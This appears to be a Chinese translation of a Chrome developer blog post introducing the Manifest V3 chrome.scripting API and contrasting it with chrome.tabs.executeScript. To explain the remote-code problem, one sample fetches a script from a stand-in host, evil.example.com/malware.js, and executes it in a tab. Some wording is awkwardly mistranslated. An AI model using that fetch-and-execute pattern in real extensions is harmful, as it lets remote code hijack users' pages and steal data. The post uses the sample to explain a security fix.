隆重推出 chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 為 Chrome 擴充功能平台帶來多項變更。在本篇文章中,我們將探討 chrome.scripting API 的推出,這項變更是其中一個較顯著的變更,並探討這項變更的動機和帶來的變化。

什麼是 chrome.scripting?

如名稱所示,chrome.scripting 是 Manifest V3 中導入的新命名空間,負責提供指令碼和樣式插入功能。

過去已建立 Chrome 擴充功能的開發人員可能會熟悉 Tabs API 中的 Manifest V2 方法,例如 chrome.tabs.executeScriptchrome.tabs.insertCSS。這些方法可讓擴充功能分別在頁面中插入指令碼和樣式表。在 Manifest V3 中,這些功能已移至 chrome.scripting,我們計畫在日後擴充這個 API,並提供幾項新功能。

為什麼要建立新的 API?

這種轉變之後,您可能會想起「為什麼?」

基於幾個不同的因素,Chrome 團隊決定推出新的指令碼命名空間。首先,Tabs API 是用於功能的垃圾導覽匣其次,我們需要對現有的 executeScript API 進行破壞性變更。第三,我們希望擴充擴充功能的指令碼功能。這些考量共同明確定義了需要新的命名空間,以便內部指令碼編寫功能。

雜物櫃

過去幾年來,擴充功能團隊一直面臨 chrome.tabs API 超載的問題。這個 API 剛推出時,提供的大部分功能都與瀏覽器分頁的廣泛概念有關。然而就目前而言,它只是一連串功能整理的樣子,而且多年來這個系列作品一直在不斷成長。

在 Manifest V3 推出時,Tabs API 已擴大涵蓋基本分頁管理、選取項目管理、視窗組織、訊息、縮放控制項、基本導覽、指令碼以及一些其他小型功能。雖然這些都是重要的資訊,但對於開發人員來說,在開始使用時可能會感到有些吃力,而 Chrome 團隊在維護平台及考量開發人員社群的要求時,也可能會感到吃力。

另一個複雜的因素是,tabs 權限不容易理解。儘管還有其他權限會限制特定 API (例如 storage) 的存取權,但此權限有點少見之處,它只會授予擴充功能對分頁執行個體上機密屬性的存取權 (及其擴充功能也會影響 Windows API)。值得注意的是,許多擴充功能開發人員誤認為自己需要這項權限,才能存取 Tabs API 的方法,例如 chrome.tabs.create,或更德國的 chrome.tabs.executeScript。將功能移出 Tabs API 有助於化解部分混淆。

破壞性變更

設計 Manifest V3 時,我們想解決的重大問題之一是「遠端託管的程式碼」執行了濫用行為和惡意軟體,也就是執行,但未包含在擴充功能套件中的程式碼。濫用擴充功能的作者往往會執行從遠端伺服器擷取的指令碼,藉此竊取使用者資料、注入惡意軟體,並規避偵測。雖然優秀的發動者也使用這項功能,但我們最終認為它太過危險,無法維持原樣。

擴充功能可以透過幾種不同的方式執行未內含的程式碼,但這裡相關的做法是使用 Manifest V2 chrome.tabs.executeScript 方法。這個方法可讓擴充功能在目標分頁中執行任意程式碼字串。如此一來,惡意開發人員就能從遠端伺服器擷取任意指令碼,並在擴充功能可存取的任何網頁中執行該指令碼。我們知道,如果想解決遠端程式碼問題,就必須放棄這項功能。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

我們也想解決 Manifest V2 版本設計中其他較不明顯的問題,讓 API 成為更精緻且可預測的工具。

雖然我們可以變更 Tabs API 中這個方法的簽名,但我們認為,在這些破壞性變更和新功能推出 (詳見下一節) 之間,清除中斷點對所有人來說都會更容易。

擴充指令碼功能

另一個納入資訊清單 V3 設計程序的考量,是希望為 Chrome 的擴充功能平台引進其他指令碼功能。具體來說,我們想新增對動態內容指令碼的支援,並擴充 executeScript 方法的功能。

長久以來,Chromium 支援動態內容指令碼。目前,Manifest V2 和 V3 Chrome 擴充功能只能在 manifest.json 檔案中靜態宣告內容指令碼;平台無法提供註冊新內容指令碼、調整內容指令碼註冊,或是在執行階段取消註冊內容指令碼的方法。

雖然我們希望在 Manifest V3 中處理這項功能要求,但我們現有的 API 都不是適合的所在位置。我們也考慮與 Firefox 的內容指令程式 API保持一致,但在很早期就發現這種做法有幾個重大缺點。首先,我們知道會有不相容的簽章 (例如停止支援 code 屬性)。其次,我們的 API 有一組不同的設計限制 (例如,需要註冊才能保留服務工作站的生命週期以外)。最後,這個命名空間也會讓人聯想到內容指令碼功能,我們想在更廣泛的擴充功能中編寫指令碼。

executeScript 方面,我們也想擴大這個 API 的功能,讓它能做更多 Tabs API 版本支援的功能。具體來說,我們希望支援函式和引數,更輕鬆地指定特定影格,以及鎖定非「分頁標籤」結構定義。

未來,我們也將考量擴充功能如何與已安裝的 PWA 互動,以及其他不與「分頁」概念對應的內容。

tab.executeScript 和 Scripting.executeScript 之間的變更

在本篇文章的其餘部分,我想進一步探討 chrome.tabs.executeScriptchrome.scripting.executeScript 之間的相似之處和差異。

插入含引數的函式

在考量平台如何因應遠端代管程式碼限制而演進的同時,我們希望在允許執行任意程式碼和只允許靜態內容指令碼之間取得平衡。我們之所以設法解決這個問題,是允許擴充功能將函式插入內容指令碼中,以及將值陣列做為引數傳遞。

我們來看看一個 (過度簡化) 範例。假設我們想插入指令碼,在使用者按一下擴充功能的動作按鈕 (工具列中的圖示) 時,以姓名向使用者問候。在 Manifest V2 中,我們可以動態建構程式碼字串,並在目前的頁面中執行該指令碼。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

雖然 Manifest V3 擴充功能無法使用未隨附擴充功能的程式碼,但我們的目標是保留為 Manifest V2 擴充功能啟用任意程式碼封鎖的部分。透過這個函式和引數方法,Chrome 線上應用程式商店審查人員、使用者和其他相關人士可以更準確地評估擴充功能可能帶來的風險,同時也能讓開發人員根據使用者設定或應用程式狀態修改擴充功能的執行階段行為。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

指定影格

我們也希望改善開發人員在修訂版 API 中與影格互動的方式。executeScript 的資訊清單 2 版可讓開發人員指定分頁中的所有頁框,或分頁中的特定頁框。您可以使用 chrome.webNavigation.getAllFrames 取得分頁中的所有影格清單。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

在資訊清單 V3 中,我們將選項物件中的選用 frameId 整數屬性,替換為選用的 frameIds 整數陣列,讓開發人員能夠在單一 API 呼叫中指定多個影格。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

指令碼注入結果

我們也改善了在資訊清單 V3 中傳回指令碼插入結果的方式。「結果」基本上是指在指令碼中評估的最後陳述式。您可以將其視為在 Chrome 開發人員工具控制台中呼叫 eval() 或執行程式碼區塊時傳回的值,但會經過序列化處理,以便在各個程序之間傳遞結果。

在 Manifest V2 中,executeScriptinsertCSS 會傳回純執行結果陣列。如果只有一個插入點,就可以採取這種做法,但插入多個影格時無法保證結果順序,因此無法判斷哪個結果與哪個影格相關聯。

具體範例說明 Manifest V2 傳回的 results 陣列,以及同一擴充功能的 Manifest V3 版本。這兩個版本會插入相同的內容指令碼,而我們會在同一個示範頁面上比較結果。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

執行 Manifest V2 版本時,我們會傳回 [1, 0, 5] 的陣列。哪個結果對應至主框架,哪個結果對應至 iframe?傳回值並未告訴我們,所以我們無法確定。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

在資訊清單 V3 版本中,results 現在包含結果物件陣列,而非僅包含評估結果陣列,且結果物件會清楚標示每個結果的框架 ID。這樣一來,開發人員就能更輕鬆地利用結果,並對特定影格採取行動。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

總結

資訊清單版本升級是難得的機會,可重新思考並改良擴充功能 API。推出 Manifest V3 的目標,是讓擴充功能更安全,同時改善開發人員體驗,進而改善使用者體驗。我們在資訊清單 V3 中導入 chrome.scripting,藉此清理 Tabs API,重新設計 executeScript,以提供更安全的擴充功能平台,並為今年稍晚推出的新指令碼功能奠定基礎。